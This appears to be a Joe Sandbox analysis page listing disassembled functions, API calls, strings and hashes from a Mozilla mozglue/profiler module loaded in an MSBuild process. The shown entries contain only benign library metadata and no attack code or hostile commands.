Instruction ID: e77b3f3426bf4be744613086f2cc188f71070b3bc2663a9f86f185ee623bd3d3
Opcode Fuzzy Hash: c2d3bce361e955b8e70c4ce4965ed3d8755e45521b59dd9ba1229690410d4268
Instruction Fuzzy Hash: DDD1DF75A093408FD724DF25D851F9FBBE5AFC5308F50492EE48987B91DB30A849CB92

Function 6C44D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C41EB57,?,?,?,?,?,?,?,?,?), ref: 6C44D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C41EB57,?), ref: 6C44D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C41EB57,?), ref: 6C44D673
free.MOZGLUE(?), ref: 6C44D888

Strings

|Enabled, xrefs: 6C44D81E
WAl, xrefs: 6C44D5D9, 6C44D63F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WAl$|Enabled
API String ID: 4142949111-193220914
Opcode ID: 00f8c8bc3ab59a651c1d7ca0384d9a5cf1230d4acef072ffa647c31b5eac5d4a
Instruction ID: f9291922cfb49ae540452947f47ceb6db14c57448d40b71c6e45dd58e03d6ba5
Opcode Fuzzy Hash: 00f8c8bc3ab59a651c1d7ca0384d9a5cf1230d4acef072ffa647c31b5eac5d4a
Instruction Fuzzy Hash: 02A1F2B0A043148FEB11CF69C480FAEBBF1EF49318F28805CD899AB741D735A845CBA1

Function 6C429830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C477ABE), ref: 6C42985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C477ABE), ref: 6C4298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C429909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C429918
free.MOZGLUE(?), ref: 6C429975

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2686783c332b4692a4ae81c0c7a553581692cd5e4198b28fc58c5aec4518e223
Instruction ID: 8eab213dead97f54a8cfc61f0a1109d239c82482589ca9918b126daa16990729
Opcode Fuzzy Hash: 2686783c332b4692a4ae81c0c7a553581692cd5e4198b28fc58c5aec4518e223
Instruction Fuzzy Hash: E67178746007058FC725CF28C481E56B7F1FF5A3647244AADE85A8BB90D776F846CB90

Function 6C42B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C46CC83,?,?,?,?,?,?,?,?,?,6C46BCAE,?,?,6C45DC2C), ref: 6C42B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C46CC83,?,?,?,?,?,?,?,?,?,6C46BCAE,?,?,6C45DC2C), ref: 6C42B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C46CC83,?,?,?,?,?,?,?,?,?,6C46BCAE), ref: 6C42B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C46CC83,?,?,?,?,?,?,?,?,?,6C46BCAE,?,?,6C45DC2C), ref: 6C42B896

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 91175fe22e835a1b0b5ee57e541d8dd43afc4d722a7f58f6525759c2b067ee65
Instruction ID: f91d439fd961d37b904290e754f8c70096ca890ab31079689fa2df89e283181d
Opcode Fuzzy Hash: 91175fe22e835a1b0b5ee57e541d8dd43afc4d722a7f58f6525759c2b067ee65
Instruction Fuzzy Hash: 2D517635B006008FCB25DF59C484E2ABBF5FF89319B69895DE99A87752C734E802CB80

Function 6C461D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C461D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C461BE3,?,?,6C461D96,00000000), ref: 6C461D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C461BE3,?,?,6C461D96,00000000), ref: 6C461D4C
GetCurrentThreadId.KERNEL32 ref: 6C461DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C461DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C461DDA

Part of subcall function 6C461EF0: GetCurrentThreadId.KERNEL32 ref: 6C461F03
Part of subcall function 6C461EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C461DF2,00000000,00000000), ref: 6C461F0C
Part of subcall function 6C461EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C461F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C461DF4

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: f11e036f476ea67f818e8e9e216555dea3ef36fe778d87d6dbcb48e1a1d8f787
Instruction ID: fa6f60affcbb797693aaafaeddb915c19b8d4e7d6eef525b585ef2589e18d458
Opcode Fuzzy Hash: f11e036f476ea67f818e8e9e216555dea3ef36fe778d87d6dbcb48e1a1d8f787
Instruction Fuzzy Hash: DF4178B56007009FDB20DF29C888E56BBF9FB89318F10442EE99A87B41CB71F814CB90

Function 6C4584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C45850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C45851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C45855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C45856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4585AC

Part of subcall function 6C457670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C45767F
Part of subcall function 6C457670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C457693
Part of subcall function 6C457670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4585B2

Part of subcall function 6C435E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C435EDB
Part of subcall function 6C435E90: memset.VCRUNTIME140(ewGl,000000E5,?), ref: 6C435F27
Part of subcall function 6C435E90: LeaveCriticalSection.KERNEL32(?), ref: 6C435FB2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 217b671b40b3abf48b1ab205e56be121acd2eba55324379224511a62582f7879
Instruction ID: 271ca622e4edff77d43f107980c023395a34aae35a2b90a3654a98ec4077fa0d
Opcode Fuzzy Hash: 217b671b40b3abf48b1ab205e56be121acd2eba55324379224511a62582f7879
Instruction Fuzzy Hash: B9219C742006018FEB14EF69D888E5AB7B5AF8431EF64482DE55BC3B41DB31F968CB91

Function 6C421640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C421699
VerSetConditionMask.NTDLL ref: 6C4216CB
VerSetConditionMask.NTDLL ref: 6C4216D7
VerSetConditionMask.NTDLL ref: 6C4216DE
VerSetConditionMask.NTDLL ref: 6C4216E5
VerSetConditionMask.NTDLL ref: 6C4216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4216F9

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: dcae352e7c9593555d2fc0033b88523ebc0c6a03b6aeeccd046580bcf07a6c9c
Instruction ID: e43eebbea47d00cc10556c61f923f548285abc24c3cf48c1dfd0f59881cb665e
Opcode Fuzzy Hash: dcae352e7c9593555d2fc0033b88523ebc0c6a03b6aeeccd046580bcf07a6c9c
Instruction Fuzzy Hash: A621D2B0B402186BFB11EA688C86FBBB37CEFD6704F044528F6459B5C0C6799D5486A1

Function 6C45F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C45F598), ref: 6C45F621

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

GetCurrentThreadId.KERNEL32 ref: 6C45F637
AcquireSRWLockExclusive.KERNEL32(6C49F4B8,?,?,00000000,?,6C45F598), ref: 6C45F645
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8,?,?,00000000,?,6C45F598), ref: 6C45F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C45F62A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 287282707eb87c626ee201161bf75c3b14896901936a2cd2bf223e0866c3281d
Instruction ID: 08b0dee5237f7612de769c66e81588417f62dc516fe513afabae85293bc78762
Opcode Fuzzy Hash: 287282707eb87c626ee201161bf75c3b14896901936a2cd2bf223e0866c3281d
Instruction Fuzzy Hash: ED11EB71202214BBEA14FF19C848DA57B7DFF96369B500015FA0583F41CB31AC22CBE1

Function 6C422070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

LoadLibraryW.KERNEL32(combase.dll,6C421C5F), ref: 6C4220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4220CD
__Init_thread_footer.LIBCMT ref: 6C4220E1
FreeLibrary.KERNEL32 ref: 6C422124

Strings

combase.dll, xrefs: 6C4220A9
CoInitializeSecurity, xrefs: 6C4220C7

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 738847dbfebeeeacc718ab81f6f18a13f732382a25560a50484695f2c63c9323
Instruction ID: 3f22547128a1ffa76384d745c7380dcdc0638db6af637f79c2df6e3f238b974b
Opcode Fuzzy Hash: 738847dbfebeeeacc718ab81f6f18a13f732382a25560a50484695f2c63c9323
Instruction Fuzzy Hash: 6D21BE36202269EFEF20EF55DC49D9A3F7AFB1A335F104018FA0492611D7319861CF90

Function 6C4776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C4776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C477705

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C477717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C47778F,00000000,00000000,00000000,00000000), ref: 6C477731
free.MOZGLUE(00000000), ref: 6C477760

Strings

}>El, xrefs: 6C4776C4

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>El
API String ID: 2538299546-1609497076
Opcode ID: 18cc709c7a7cbc19ceca6c24c5dcae97ebabe8b06430f18685f20efbc0956cb4
Instruction ID: a30fdead0f8e53f2e841e4cb7ee36874740c81376a45efee144815e3ed18c659
Opcode Fuzzy Hash: 18cc709c7a7cbc19ceca6c24c5dcae97ebabe8b06430f18685f20efbc0956cb4
Instruction Fuzzy Hash: C11190B1D052256BE720EF669C44FABBEE8EF45354F044529E848E7300E774984087E2

Function 6C421FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C421FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C421FFD
__Init_thread_footer.LIBCMT ref: 6C422011
FreeLibrary.KERNEL32 ref: 6C422059

Strings

CoCreateInstance, xrefs: 6C421FF7
combase.dll, xrefs: 6C421FD9

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 60de0fc0f7a40331057f302a7d1e3572487035e470b6f6b7bf0f0c8be1b66853
Instruction ID: 88a37c5e888d06f802ef952be7cf20e6c9593d7573add90bb600156ced5735a2
Opcode Fuzzy Hash: 60de0fc0f7a40331057f302a7d1e3572487035e470b6f6b7bf0f0c8be1b66853
Instruction Fuzzy Hash: 8E117C74202264AFEF20EF55C849E5A7B79EB56379F104029FA0592741CB309810CBA1

Function 6C420EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C44D9F0,00000000), ref: 6C420F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C420F3C
__Init_thread_footer.LIBCMT ref: 6C420F50
FreeLibrary.KERNEL32(?,6C44D9F0,00000000), ref: 6C420F86

Strings

combase.dll, xrefs: 6C420F18
CoInitializeEx, xrefs: 6C420F36

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 5fb0579386ac4bfcbf5a0172f296becd970d4381c71dc4b078f99e72b8c24de6
Instruction ID: 98e923eff37f3cca82bb6043d7d213edd143d828cc3d1c81c2577dd1fedb8c8c
Opcode Fuzzy Hash: 5fb0579386ac4bfcbf5a0172f296becd970d4381c71dc4b078f99e72b8c24de6
Instruction Fuzzy Hash: A411C2743462A09BFF20EF95C918F863BB8FB5A336F104229F90582B42D774A401CA55

Function 6C45F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F561

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

GetCurrentThreadId.KERNEL32 ref: 6C45F577
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F585
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C45F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C45F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C45F499
[I %d/%d] profiler_resume, xrefs: 6C45F239

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: cc62c0249a5a50f5fa861c6839b69b894f723ba06033e48c6fcbd22f3e54f00a
Instruction ID: 0c72362f51634e3d98f68fb54929fd02ecd0e95c6eb4ad80402b434cd584b170
Opcode Fuzzy Hash: cc62c0249a5a50f5fa861c6839b69b894f723ba06033e48c6fcbd22f3e54f00a
Instruction Fuzzy Hash: 22F0E975201224AFEF10FF64DC48E6A7B7DEBA62ADF000015FA0683702CB315C01C7A5

Function 6C420E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C420DF8), ref: 6C420E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C420EA1
__Init_thread_footer.LIBCMT ref: 6C420EB5
FreeLibrary.KERNEL32 ref: 6C420EC5

Strings

kernel32.dll, xrefs: 6C420E7D
GetProcessMitigationPolicy, xrefs: 6C420E9B

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 17cd71274fb19a5f26244a1163ccd807c6e040e1c0946f99b5080f676abcef35
Instruction ID: ecb2b078fd070fc2b3ac27ec8771b15aa64e09fffe8312222626aee062282b9e
Opcode Fuzzy Hash: 17cd71274fb19a5f26244a1163ccd807c6e040e1c0946f99b5080f676abcef35
Instruction Fuzzy Hash: A4012870A022E18BFF10EFA8C965F4237F5F726315F2005A9A90182B80D738B4548A42

Function 6C45F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C45F598), ref: 6C45F621

